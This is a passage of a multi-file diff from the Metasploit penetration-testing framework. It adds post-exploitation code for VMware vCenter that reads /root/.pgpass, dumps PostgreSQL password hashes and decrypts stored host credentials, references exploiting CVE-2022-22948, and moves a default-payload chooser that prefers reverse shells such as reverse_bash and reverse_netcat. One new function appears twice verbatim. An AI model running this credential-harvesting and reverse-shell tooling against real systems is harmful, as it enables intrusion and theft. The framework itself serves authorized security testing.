attr_reader :backend
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
end
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::Install
#
# @param cookies [String] cookies required to visit the license agreement page
# @param nsp [String] nsp token required to visit the license agreement page
# @return [nil, Array] nil if signing the the license agreement succeeds, otherwise Array containing an error code and an error message
# @return [nil, Array] nil if signing the license agreement succeeds, otherwise Array containing an error code and an error message
def sign_license_agreement(cookies, nsp)
if cookies.blank?
return [2, 'Cannot sign the license agreement. The provided cookies are empty or nil.']
+60
View File
@@ -463,6 +463,66 @@ class Payload < Msf::Module
return nops
end
# Select a reasonable default payload and minimally configure it
# @param [Msf::Module] mod
def self.choose_payload(mod)
compatible_payloads = mod.compatible_payloads(
excluded_platforms: ['Multi'] # We don't want to select a multi payload
).map(&:first)
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
configure_payload = lambda do |payload|
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
payload_defaults = { 'PAYLOAD' => payload }
# Set LHOST if this is a reverse payload
if payload.index('reverse')
payload_defaults['LHOST'] = lhost
end
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
else
mod.datastore['PAYLOAD'] = payload
# Set LHOST if this is a reverse payload
if payload.index('reverse')
mod.datastore['LHOST'] = lhost
end
end
payload
end
# If there is only one compatible payload, return it immediately
if compatible_payloads.length == 1
return configure_payload.call(compatible_payloads.first)
end
# XXX: This approach is subpar, and payloads should really be ranked!
preferred_payloads = [
# These payloads are generally reliable and common enough in practice
'/meterpreter/reverse_tcp',
'/shell/reverse_tcp',
'cmd/unix/reverse_bash',
'cmd/unix/reverse_netcat',
'cmd/windows/powershell_reverse_tcp',
# Fall back on a generic payload to autoselect a specific payload
'generic/shell_reverse_tcp',
'generic/shell_bind_tcp'
]
# XXX: This is not efficient in the slightest
preferred_payloads.each do |type|
payload = compatible_payloads.find { |name| name.end_with?(type) }
next unless payload
return configure_payload.call(payload)
end
nil
end
#
# A placeholder stub, to be overriden by mixins
#
+308
View File
@@ -0,0 +1,308 @@
# -*- coding: binary -*-
module Msf
class Post
module Vcenter
module Database
include Msf::Post::File
def pgpass_file
'/root/.pgpass'
end
def psql_bin
'/opt/vmware/vpostgres/current/bin/psql'
end
#
# Returns a array of hashes of the .pgpass file
# @param location [String] where the file is located. defaults to /root/.pgpass
# @return [Array] array of hashes of the file contents, nil on error
#
def process_pgpass_file(location = pgpass_file)
return nil unless file_exist?(location)
contents = read_file(location)
return nil if contents.nil?
return nil if contents.empty?
output = []
contents.each_line(chomp: true) do |line|
# file format hostname:port:database:username:password
# https://www.postgresql.org/docs/current/libpq-pgpass.html
next unless line.include?(':') # attempt to do a little quality control
sections = line.split(':')
o = {}
o['hostname'] = sections[0].strip
o['port'] = sections[1].strip
o['database'] = sections[2]
o['username'] = sections[3]
o['password'] = sections[4]
o['port'] = '5432' if o['port'] == '*'
output.append(o)
end
output
end
#
# Returns a list of postgres users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = []
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
return nil if postgres_users.nil?
postgres_users = postgres_users.split("\n")
return nil unless postgres_users.first
postgres_users.each do |postgres_user|
row_data = postgres_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'password_hash' => row_data[1]
}
output.append(user)
end
output
end
#
# Returns a list of postgres users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = []
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
return nil if postgres_users.nil?
postgres_users = postgres_users.split("\n")
return nil unless postgres_users.first
postgres_users.each do |postgres_user|
row_data = postgres_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'password_hash' => row_data[1]
}
output.append(user)
end
output
end
#
# Returns a list of vpx users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param symkey [String] string of they symkey
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil)
return nil unless command_exists? psql_bin
output = []
vpx_creds = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;' -P pager -A -t")
return nil if vpx_creds.nil?
vpx_creds = vpx_creds.split("\n")
return nil unless vpx_creds.first
vpx_creds.each do |vpx_user|
row_data = vpx_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'encrypted_password' => row_data[1],
'local_ip' => row_data[2],
'ip_address' => row_data[3],
'dns_name' => row_data[4]
}
unless symkey.nil?
# https://github.com/shmilylty/vhost_password_decrypt/blob/main/decrypt.py
# https://pentera.io/blog/information-disclosure-in-vmware-vcenter/
encrypted_password = row_data[1].gsub('*', '').strip
encrypted_password = Base64.decode64(encrypted_password)
encrypted_password = encrypted_password.scan(/.{16}/)
iv = encrypted_password.shift
encrypted_password = encrypted_password.join
begin
cipher = OpenSSL::Cipher.new('aes-256-cbc')
cipher.decrypt
cipher.key = [symkey.strip].pack('H*')
cipher.iv = iv
user['decrypted_password'] = cipher.update(encrypted_password) + cipher.final
rescue OpenSSL::Cipher::CipherError => e
vprint_error("Unable to decrypt password for #{user} due to OpenSSL Cipher Error: #{e}")
end
end
output.append(user)
end
output
end
#
# A helper function to return the command line statement string to connect to the postgress server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
# @return [String] a string to run on command line
#
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
# should come in wrapped in quotes, but if not wrap
unless pg_password.start_with?("'") && pg_password.end_with?("'")
pg_password = "'#{pg_password}'"
end
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
#
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = {}
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
return nil if vpx_customization_specs.nil?
vpx_customization_specs = vpx_customization_specs.split("\n")
return nil unless vpx_customization_specs.first
vpx_customization_specs.each do |spec|
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
next if xml.nil?
begin
xmldoc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
rescue Nokogiri::XML::SyntaxError
print_bad("Unable to read XML from #{spec}")
next
end
output[spec] = xmldoc
end
output
end
#
# Returns a list of virtual machines located on the server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
return nil if vm_rows.nil?
vm_rows = vm_rows.split("\n")
return nil unless vm_rows.first
vm_rows.each do |vm_row|
row_data = vm_row.split('|')
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
vm = {
'vmid' => row_data[0],
'name' => row_data[1],
'configfilename' => row_data[3],
'guest_state' => row_data[4],
'is_template' => row_data[5]
}
output.append(vm)
end
output
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
return nil if vpxuser_rows.nil?
vpxuser_rows = vpxuser_rows.split("\n")
return nil unless vpxuser_rows.first
vpxuser_rows.each do |vpxuser_row|
row_data = vpxuser_row.split('|')
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
user = {
'fqdn' => row_data[0],
'ip' => row_data[1],
'user' => row_data[2]
}
vpxuser_secret_b64 = row_data[3].gsub('*', '')
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
output.append(user)
end
output
end
#
# helper function to decrypt passwords stored in the pg database
# @param b64 [String] base64 string of the password exported from postgres
# @param vc_sym_key [String] sym key from virtual center
# @return [String] the decrypted password, nil on error
def vpx_aes_decrypt(b64, vc_sym_key)
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
secret_bytes = Base64.strict_decode64(b64)
iv = secret_bytes[0, 16]
ciphertext = secret_bytes[16, 64]
decipher = OpenSSL::Cipher.new('aes-256-cbc')
decipher.decrypt
decipher.iv = iv
decipher.padding = 1
decipher.key = vc_sym_key
return (decipher.update(ciphertext) + decipher.final).delete("\000")
rescue StandardError => e
elog('Error performing vpx_aes_decrypt', error: e)
''
end
end
end
end
end
+10 -143
View File
@@ -5,6 +5,7 @@ module Msf
module Vcenter
module Vcenter
include Msf::Post::File
include Msf::Post::Linux::Priv
def manifest_file
'/opt/vmware/etc/appliance-manifest.xml'
@@ -46,6 +47,10 @@ module Msf
'/opt/vmware/vpostgres/current/bin/psql'
end
def vcd_properties_file
'/etc/vmware-vpx/vcdb.properties'
end
#
# Function to determine if a string is a valid FQDN or not
# @param fqdn [String] the string to check if it is a valid FQDN or not
@@ -348,160 +353,22 @@ module Msf
nil
end
#
# A helper function to return the command line statement string to connect to the postgress server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
# @return [String] a string to run on command line
#
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
# should come in wrapped in quotes, but if not wrap
unless pg_password.start_with?("'") && pg_password.end_with?("'")
pg_password = "'#{pg_password}'"
end
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
#
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = {}
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
return nil if vpx_customization_specs.nil?
vpx_customization_specs = vpx_customization_specs.split("\n")
return nil unless vpx_customization_specs.first
vpx_customization_specs.each do |spec|
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
next if xml.nil?
begin
xmldoc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
rescue Nokogiri::XML::SyntaxError
print_bad("Unable to read XML from #{spec}")
next
end
output[spec] = xmldoc
end
output
end
#
# helper function to decrypt passwords stored in the pg database
# @param b64 [String] base64 string of the password exported from postgres
# @param vc_sym_key [String] sym key from virtual center
# @return [String] the decrypted password, nil on error
def vpx_aes_decrypt(b64, vc_sym_key)
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
secret_bytes = Base64.strict_decode64(b64)
iv = secret_bytes[0, 16]
ciphertext = secret_bytes[16, 64]
decipher = OpenSSL::Cipher.new('aes-256-cbc')
decipher.decrypt
decipher.iv = iv
decipher.padding = 1
decipher.key = vc_sym_key
return (decipher.update(ciphertext) + decipher.final).delete("\000")
rescue StandardError => e
elog('Error performing vpx_aes_decrypt', error: e)
''
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
return nil if vpxuser_rows.nil?
vpxuser_rows = vpxuser_rows.split("\n")
return nil unless vpxuser_rows.first
vpxuser_rows.each do |vpxuser_row|
row_data = vpxuser_row.split('|')
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
user = {
'fqdn' => row_data[0],
'ip' => row_data[1],
'user' => row_data[2]
}
vpxuser_secret_b64 = row_data[3].gsub('*', '')
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
output.append(user)
end
output
end
#
# Returns a list of virtual machines located on the server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
return nil if vm_rows.nil?
vm_rows = vm_rows.split("\n")
return nil unless vm_rows.first
vm_rows.each do |vm_row|
row_data = vm_row.split('|')
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
vm = {
'vmid' => row_data[0],
'name' => row_data[1],
'configfilename' => row_data[3],
'guest_state' => row_data[4],
'is_template' => row_data[5]
}
output.append(vm)
end
output
end
#
# Returns a hash table of the vcdb.properties file
# @param location [String] where the file is located. defaults to /etc/vmware-vpx/vcdb.properties
# @return [Hash] hash of the file contents, nil on error
#
def process_vcdb_properties_file(location = '/etc/vmware-vpx/vcdb.properties')
def process_vcdb_properties_file(location = vcd_properties_file)
return nil unless file_exist?(location)
contents = read_file(location)
return nil if contents.nil?
if location == vcd_properties_file && is_root? == false
print_good('Exploited CVE-2022-22948 to read #{vcd_properties_file}')
end
output = {}
contents.split("\n").each do |line|
contents.each_line(chomp: true) do |line|
next unless line.include?('=') # attempt to do a little quality control
line = line.split('=')
+6 -2
View File
@@ -467,7 +467,6 @@ class RPC_Module < RPC_Base
res
end
# Executes a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
@@ -738,6 +737,12 @@ private
end
def _run_exploit(mod, opts)
if mod.datastore['PAYLOAD']
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
else
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
end
s = Msf::Simple::Exploit.exploit_simple(mod, {
'Payload' => opts['PAYLOAD'],
'Target' => opts['TARGET'],
@@ -846,4 +851,3 @@ private
end
end
end
+24 -2
View File
@@ -56,12 +56,35 @@ class RPC_Session < RPC_Base
end
# Stops a session.
# Stops a session - alias for killing a session in `msfconsole`
#
# @param [Integer] sid Session ID.
# @raise [Msf::RPC::Exception] Unknown session ID.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'.
# @example Here's how you would use this from the client:
# # You have an active session, you run session list to view the session number, then pass that session number to the `stop` command:
# >> rpc.call('session.list')
# {7=>
# {"type"=>"meterpreter",
# "tunnel_local"=>"192.168.xxx.xxx:4444",
# "tunnel_peer"=>"192.168.xxx.xxx:64688",
# "via_exploit"=>"exploit/windows/smb/ms17_010_eternalblue",
# "via_payload"=>"payload/windows/x64/meterpreter/reverse_tcp",
# "desc"=>"Meterpreter",
# "info"=>"NT AUTHORITY\\SYSTEM @ DC1",
# "workspace"=>"default",
# "session_host"=>"192.168.xxx.xxx",
# "session_port"=>445,
# "target_host"=>"192.168.xxx.xxx",
# "username"=>"foo",
# "uuid"=>"h9pbmuoh",
# "exploit_uuid"=>"tcjj1fqo",
# "routes"=>"",
# "arch"=>"x86",
# "platform"=>"windows"}}
# >> rpc.call('session.stop', 7)
# => {"result"=>"success"}
def rpc_stop( sid)
s = self.framework.sessions[sid.to_i]
@@ -487,4 +510,3 @@ private
end
end
end
@@ -137,7 +137,12 @@ module SingleCommandShell
# Send the command to the session's stdin.
delimiter = "echo #{token}"
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
if cmd.strip.end_with?(command_separator)
# This command already ends with a delimiter - don't need to add another one
shell_data = cmd + "#{delimiter}#{command_termination}"
else
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
end
unless @is_echo_shell
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
end
@@ -96,12 +96,6 @@ class Evasion
print_status "Payload Handler Started as Job #{job_id}"
end
# This is the same functionality as Exploit::choose_payload, so call it
def self.choose_payload(mod)
Msf::Ui::Console::CommandDispatcher::Exploit.choose_payload(mod)
end
end
end
end
@@ -269,64 +269,9 @@ class Exploit
alias cmd_rerun_help cmd_rexploit_help
# Select a reasonable default payload and minimally configure it
# TODO: Move this somewhere better or make it more dynamic?
# @param [Msf::Module] mod
def self.choose_payload(mod)
compatible_payloads = mod.compatible_payloads(
excluded_platforms: ['Multi'] # We don't want to select a multi payload
).map(&:first)
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
configure_payload = lambda do |payload|
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
payload_defaults = { 'PAYLOAD' => payload }
# Set LHOST if this is a reverse payload
if payload.index('reverse')
payload_defaults['LHOST'] = lhost
end
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
else
mod.datastore['PAYLOAD'] = payload
# Set LHOST if this is a reverse payload
if payload.index('reverse')
mod.datastore['LHOST'] = lhost
end
end
payload
end
# If there is only one compatible payload, return it immediately
if compatible_payloads.length == 1
return configure_payload.call(compatible_payloads.first)
end
# XXX: This approach is subpar, and payloads should really be ranked!
preferred_payloads = [
# These payloads are generally reliable and common enough in practice
'/meterpreter/reverse_tcp',
'/shell/reverse_tcp',
'cmd/unix/reverse_bash',
'cmd/unix/reverse_netcat',
'cmd/windows/powershell_reverse_tcp',
# Fall back on a generic payload to autoselect a specific payload
'generic/shell_reverse_tcp',
'generic/shell_bind_tcp'
]
# XXX: This is not efficient in the slightest
preferred_payloads.each do |type|
payload = compatible_payloads.find { |name| name.end_with?(type) }
next unless payload
return configure_payload.call(payload)
end
nil
Msf::Payload.choose_payload(mod)
end
end
+1 -1
View File
@@ -165,7 +165,7 @@ module Net # :nodoc:
# my $res = Net::DNS::Resolver->new(config_file => '/my/dns.conf');
#
# This is supported on both UNIX and Windows. Values pulled from a custom
# configuration file override the the system's defaults, but can still be
# configuration file override the system's defaults, but can still be
# overridden by the other arguments to Resolver::new.
#
# Explicit arguments to Resolver::new override both the system's defaults
+1 -1
View File
@@ -408,7 +408,7 @@ module Rex
end
#
# An error describing an issue that occurred while parsing the the data structure.
# An error describing an issue that occurred while parsing the data structure.
#
class ParserError < GraphMLError
end
@@ -31,7 +31,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
# Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter
# for a COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN will be processed here. We create a new TcpClientChannel for each request
# received and store it in the respective tcp server channels list of new pending client channels.
# These new tcp client channels are passed off via a call the the tcp server channels accept() method.
# These new tcp client channels are passed off via a call the tcp server channels accept() method.
#
def self.request_handler(client, packet)
return false unless packet.method == COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN
+228
View File
@@ -41,6 +41,234 @@ class Net::LDAP::Connection # :nodoc:
yield self if block_given?
end
# Monkeypatch upstream library for now to support :control
# hash option in `args` so that we can provide controls within
# searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID
# flag for searches to prevent getting the SACL when querying for
# ntSecurityDescriptor, as this is retrieved by default and non-admin
# users are not allowed to retrieve SACLs for objects. Therefore by
# adjusting the search to not retrieve SACLs, non-admin users can still
# retrieve information about the security of objects without violating this rule.
#
# @see https://github.com/rapid7/metasploit-framework/issues/17324
# @see https://github.com/ruby-ldap/ruby-net-ldap/pull/411
#
# @param [Hash] args A hash of the arguments to be utilized by the search operation.
#
# @return [Net::LDAP::PDU] A Protocol Data Unit (PDU) object, represented by the Net::LDAP::PDU class, containing the results of the search operation.
#
def search(args = nil)
args ||= {}
# filtering, scoping, search base
# filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7
# base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1
# scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2
filter = args[:filter] || Net::LDAP::Filter.eq("objectClass", "*")
base = args[:base]
scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree
# attr handling
# attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8
# attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6
attrs = Array(args[:attributes])
attrs_only = args[:attributes_only] == true
# references
# refs: https://tools.ietf.org/html/rfc4511#section-4.5.3
# deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3
refs = args[:return_referrals] == true
deref = args[:deref] || Net::LDAP::DerefAliases_Never
# limiting, paging, sorting
# size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4
# time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5
size = args[:size].to_i
time = args[:time].to_i
paged = args[:paged_searches_supported]
sort = args.fetch(:sort_controls, false)
# arg validation
raise ArgumentError, "search base is required" unless base
raise ArgumentError, "invalid search-size" unless size >= 0
raise ArgumentError, "invalid search scope" unless Net::LDAP::SearchScopes.include?(scope)
raise ArgumentError, "invalid alias dereferencing value" unless Net::LDAP::DerefAliasesArray.include?(deref)
# arg transforms
filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)
ber_attrs = attrs.map { |attr| attr.to_s.to_ber }
ber_sort = encode_sort_controls(sort)
# An interesting value for the size limit would be close to A/D's
# built-in page limit of 1000 records, but openLDAP newer than version
# 2.2.0 chokes on anything bigger than 126. You get a silent error that
# is easily visible by running slapd in debug mode. Go figure.
#
# Changed this around 06Sep06 to support a caller-specified search-size
# limit. Because we ALWAYS do paged searches, we have to work around the
# problem that it's not legal to specify a "normal" sizelimit (in the
# body of the search request) that is larger than the page size we're
# requesting. Unfortunately, I have the feeling that this will break
# with LDAP servers that don't support paged searches!!!
#
# (Because we pass zero as the sizelimit on search rounds when the
# remaining limit is larger than our max page size of 126. In these
# cases, I think the caller's search limit will be ignored!)
#
# CONFIRMED: This code doesn't work on LDAPs that don't support paged
# searches when the size limit is larger than 126. We're going to have
# to do a root-DSE record search and not do a paged search if the LDAP
# doesn't support it. Yuck.
rfc2696_cookie = [126, ""]
result_pdu = nil
n_results = 0
message_id = next_msgid
instrument "search.net_ldap_connection",
message_id: message_id,
filter: filter,
base: base,
scope: scope,
size: size,
time: time,
sort: sort,
referrals: refs,
deref: deref,
attributes: attrs do |payload|
loop do
# should collect this into a private helper to clarify the structure
query_limit = 0
if size > 0
query_limit = if paged
(((size - n_results) < 126) ? (size - n_results) : 0)
else
size
end
end
request = [
base.to_ber,
scope.to_ber_enumerated,
deref.to_ber_enumerated,
query_limit.to_ber, # size limit
time.to_ber,
attrs_only.to_ber,
filter.to_ber,
ber_attrs.to_ber_sequence,
].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)
# rfc2696_cookie sometimes contains binary data from Microsoft Active Directory
# this breaks when calling to_ber. (Can't force binary data to UTF-8)
# we have to disable paging (even though server supports it) to get around this...
user_controls = args.fetch(:controls, [])
controls = []
controls <<
[
Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,
# Criticality MUST be false to interoperate with normal LDAPs.
false.to_ber,
rfc2696_cookie.map(&:to_ber).to_ber_sequence.to_s.to_ber,
].to_ber_sequence if paged
controls << ber_sort if ber_sort
if controls.empty? && user_controls.empty?
controls = nil
else
controls += user_controls
controls = controls.to_ber_contextspecific(0)
end
write(request, controls, message_id)
result_pdu = nil
controls = []
while pdu = queued_read(message_id)
case pdu.app_tag
when Net::LDAP::PDU::SearchReturnedData
n_results += 1
yield pdu.search_entry if block_given?
when Net::LDAP::PDU::SearchResultReferral
if refs
if block_given?
se = Net::LDAP::Entry.new
se[:search_referrals] = (pdu.search_referrals || [])
yield se
end
end
when Net::LDAP::PDU::SearchResult
result_pdu = pdu
controls = pdu.result_controls
if refs && pdu.result_code == Net::LDAP::ResultCodeReferral
if block_given?
se = Net::LDAP::Entry.new
se[:search_referrals] = (pdu.search_referrals || [])
yield se
end
end
break
else
raise Net::LDAP::ResponseTypeInvalidError, "invalid response-type in search: #{pdu.app_tag}"
end
end
if result_pdu.nil?
raise Net::LDAP::ResponseMissingOrInvalidError, "response missing"
end
# count number of pages of results
payload[:page_count] ||= 0
payload[:page_count] += 1
# When we get here, we have seen a type-5 response. If there is no
# error AND there is an RFC-2696 cookie, then query again for the next
# page of results. If not, we're done. Don't screw this up or we'll
# break every search we do.
#
# Noticed 02Sep06, look at the read_ber call in this loop, shouldn't
# that have a parameter of AsnSyntax? Does this just accidentally
# work? According to RFC-2696, the value expected in this position is
# of type OCTET STRING, covered in the default syntax supported by
# read_ber, so I guess we're ok.
more_pages = false
if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls
controls.each do |c|
if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS
# just in case some bogus server sends us more than 1 of these.
more_pages = false
if c.value and c.value.length > 0
cookie = c.value.read_ber[1]
if cookie and cookie.length > 0
rfc2696_cookie[1] = cookie
more_pages = true
end
end
end
end
end
break unless more_pages
end # loop
# track total result count
payload[:result_count] = n_results
result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => "Invalid search")
end # instrument
ensure
# clean up message queue for this search
messages = message_queue.delete(message_id)
# in the exceptional case some messages were *not* consumed from the queue,
# instrument the event but do not fail.
if !messages.nil? && !messages.empty?
instrument "search_messages_unread.net_ldap_connection",
message_id: message_id, messages: messages
end
end
end
module Rex
+1 -1
View File
@@ -14,7 +14,7 @@ module Rex
# @return [Integer] the Java RMI version
attr_accessor :version
# @!attribute protocol
# @return [Integer] the protocol where the the messages are wrapped within
# @return [Integer] the protocol where the messages are wrapped within
attr_accessor :protocol
private
+1 -1
View File
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
sploit << "ST:uuid:schemas:device:MX:3"
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
